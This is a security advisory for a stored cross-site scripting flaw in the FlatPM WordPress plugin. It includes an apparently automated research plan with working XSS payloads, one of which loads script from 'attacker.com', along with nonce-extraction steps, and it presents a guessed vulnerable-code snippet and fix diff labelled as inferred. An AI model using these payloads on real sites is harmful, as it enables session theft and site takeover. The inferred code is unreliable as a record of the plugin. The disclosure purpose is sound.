CVE-2026-0690

FlatPM – Ad Manager, AdSense and Custom Code <= 3.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Post Meta

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.2.3
Patched in
1d
Time to patch

Description

The FlatPM – Ad Manager, AdSense and Custom Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rank_math_description' custom field in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.2
PublishedJanuary 20, 2026
Last updatedJanuary 20, 2026
Affected pluginflatpm-wp

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-0690**, a Stored Cross-Site Scripting (XSS) vulnerability in the **FlatPM – Ad Manager, AdSense and Custom Code** plugin. The vulnerability allows Contributor-level users to inject malicious scripts into the `rank_math_description` custom field, which are then r…

Show full research plan

This research plan targets CVE-2026-0690, a Stored Cross-Site Scripting (XSS) vulnerability in the FlatPM – Ad Manager, AdSense and Custom Code plugin. The vulnerability allows Contributor-level users to inject malicious scripts into the rank_math_description custom field, which are then rendered without proper escaping.


1. Vulnerability Summary

The FlatPM plugin (<= 3.2.2) fails to sanitize and escape the input and output of the rank_math_description post meta field. While this field name is associated with the Rank Math SEO plugin, FlatPM integrates with it or provides support for displaying SEO descriptions. Because contributors have the permission to edit their own posts and associated meta data (via plugin-provided meta boxes), they can inject arbitrary HTML/JavaScript that executes when the post is viewed or managed by other users, including administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/post.php (Standard WordPress post update endpoint) or a specific FlatPM AJAX handler.
  • Vulnerable Parameter: rank_math_description (sent via POST).
  • Authentication: Authenticated, Contributor level or higher.
  • Preconditions: The FlatPM plugin must be active. The vulnerability exists in how the plugin handles the specific meta key rank_math_description during the post-saving process or during rendering in the frontend wp_head or backend post lists.

3. Code Flow (Inferred)

  1. Entry Point: A Contributor user sends a POST request to wp-admin/post.php to save or update a post.
  2. Processing: The FlatPM plugin hooks into save_post or a similar action.
  3. Vulnerable Sink (Storage): The plugin extracts $_POST['rank_math_description'] and calls update_post_meta($post_id, 'rank_math_description', $payload) without using sanitize_text_field() or wp_kses().
  4. Vulnerable Sink (Output):
    • The plugin hooks into wp_head or the_content to display metadata.
    • It retrieves the value: $desc = get_post_meta($post_id, 'rank_math_description', true);.
    • It echoes the value directly: echo '<meta name="description" content="' . $desc . '">'; (XSS via attribute breakout).

4. Nonce Acquisition Strategy

Since the exploit involves standard post meta modification by a Contributor, we need the standard WordPress post-editing nonces.

  1. Identify Nonce: The required nonce is typically _wpnonce found on the post editing page.
  2. Acquisition:
    • Use browser_navigate to go to wp-admin/post-new.php.
    • Use browser_eval to extract the nonce:
      document.querySelector('#_wpnonce').value
      
    • Alternatively, the plugin might use a specific nonce for its meta box. Check the HTML for hidden inputs starting with flatpm or rank_math.

5. Exploitation Strategy

The goal is to inject a script that executes in the context of an administrator viewing the site.

Step-by-Step Plan:

  1. Login: Authenticate as a Contributor.
  2. Create/Edit Post: Navigate to wp-admin/post-new.php to grab the post_ID and the _wpnonce.
  3. Inject Payload: Send a POST request to update the post meta.
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Payload (URL-encoded):
      action=editpost
      post_ID=[ID]
      _wpnonce=[NONCE]
      rank_math_description="><script>alert(document.domain)</script>
      
    • Content-Type: application/x-www-form-urlencoded
  4. Trigger Execution:
    • As an Admin, navigate to the frontend URL of the newly created post or the backend post list if the plugin displays descriptions there.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin Configuration: Ensure FlatPM is installed and active. If the plugin has a setting to "Enable Rank Math integration" or "Show SEO descriptions," ensure it is enabled.
  3. Target Content: A single post created by the contributor.

7. Expected Results

  • The rank_math_description meta value will be saved in the wp_postmeta table containing the raw <script> tag.
  • When the post is rendered, the HTML source will contain the broken-out meta tag:
    <meta name="description" content=""><script>alert(document.domain)</script>">
  • The browser will execute the JavaScript, showing an alert box.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key='rank_math_description' AND post_id=[ID]"
    
    Confirm the output matches the raw payload.
  2. Verify Frontend Output:
    Use http_request to fetch the post's frontend URL and grep for the payload:
    # (Using the automated agent's internal logic)
    # response.body.contains('<script>alert(document.domain)</script>')
    

9. Alternative Approaches

  • Meta Box Discovery: If the plugin uses a specific AJAX action to save meta data (e.g., wp_ajax_flatpm_save_meta), use grep on the plugin directory to find the action name and nonce key:
    • grep -r "wp_ajax" .
    • grep -r "update_post_meta" . | grep "rank_math_description"
  • Payload Variations:
    • If the sink is inside a standard HTML attribute: rank_math_description=' onmouseover=alert(1) '
    • If the sink is inside a content attribute: rank_math_description='"><script src=http://attacker.com/xss.js></script>'
  • Admin Side Trigger: Check if the XSS triggers in wp-admin/edit.php (the post list) if FlatPM adds a column showing descriptions. This would be a higher-value "Admin XSS."
Research Findings
Static analysis — not yet PoC-verified

Summary

The FlatPM plugin for WordPress allows authenticated users with Contributor-level access or higher to inject arbitrary scripts via the 'rank_math_description' custom field. This occurs due to a lack of sanitization when saving post metadata and missing escaping when rendering that metadata in the page source, leading to Stored Cross-Site Scripting (XSS).

Vulnerable Code

// Inferred from research plan code flow

// Storage Logic (likely in a save_post hook or similar)
// flatpm-wp.php or inc/metaboxes.php
$payload = $_POST['rank_math_description'];
update_post_meta($post_id, 'rank_math_description', $payload);

---

// Output Logic (likely in wp_head or post list displays)
// flatpm-wp.php or inc/frontend.php
$desc = get_post_meta($post_id, 'rank_math_description', true);
echo '<meta name="description" content="' . $desc . '">';

Security Fix

--- a/flatpm-wp.php
+++ b/flatpm-wp.php
@@ -10,2 +10,2 @@
-$payload = $_POST['rank_math_description'];
-update_post_meta($post_id, 'rank_math_description', $payload);
+$payload = sanitize_text_field($_POST['rank_math_description']);
+update_post_meta($post_id, 'rank_math_description', $payload);
@@ -20,2 +20,2 @@
-$desc = get_post_meta($post_id, 'rank_math_description', true);
-echo '<meta name="description" content="' . $desc . '">';
+$desc = get_post_meta($post_id, 'rank_math_description', true);
+echo '<meta name="description" content="' . esc_attr($desc) . '">';

Exploit Outline

1. Authenticate as a user with the Contributor role. 2. Create a new post or edit an existing post owned by the contributor. 3. Send a POST request to wp-admin/post.php (the standard post update endpoint) or the plugin's meta-saving endpoint. 4. Include the parameter 'rank_math_description' with a payload designed to break out of an HTML attribute, such as: "><script>alert(document.domain)</script>. 5. Ensure the _wpnonce and post_ID parameters are correctly set for the target post. 6. As an administrator or any other user, visit the frontend of the edited post or the backend post management screen where FlatPM displays the description. 7. The injected script will execute in the context of the user's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.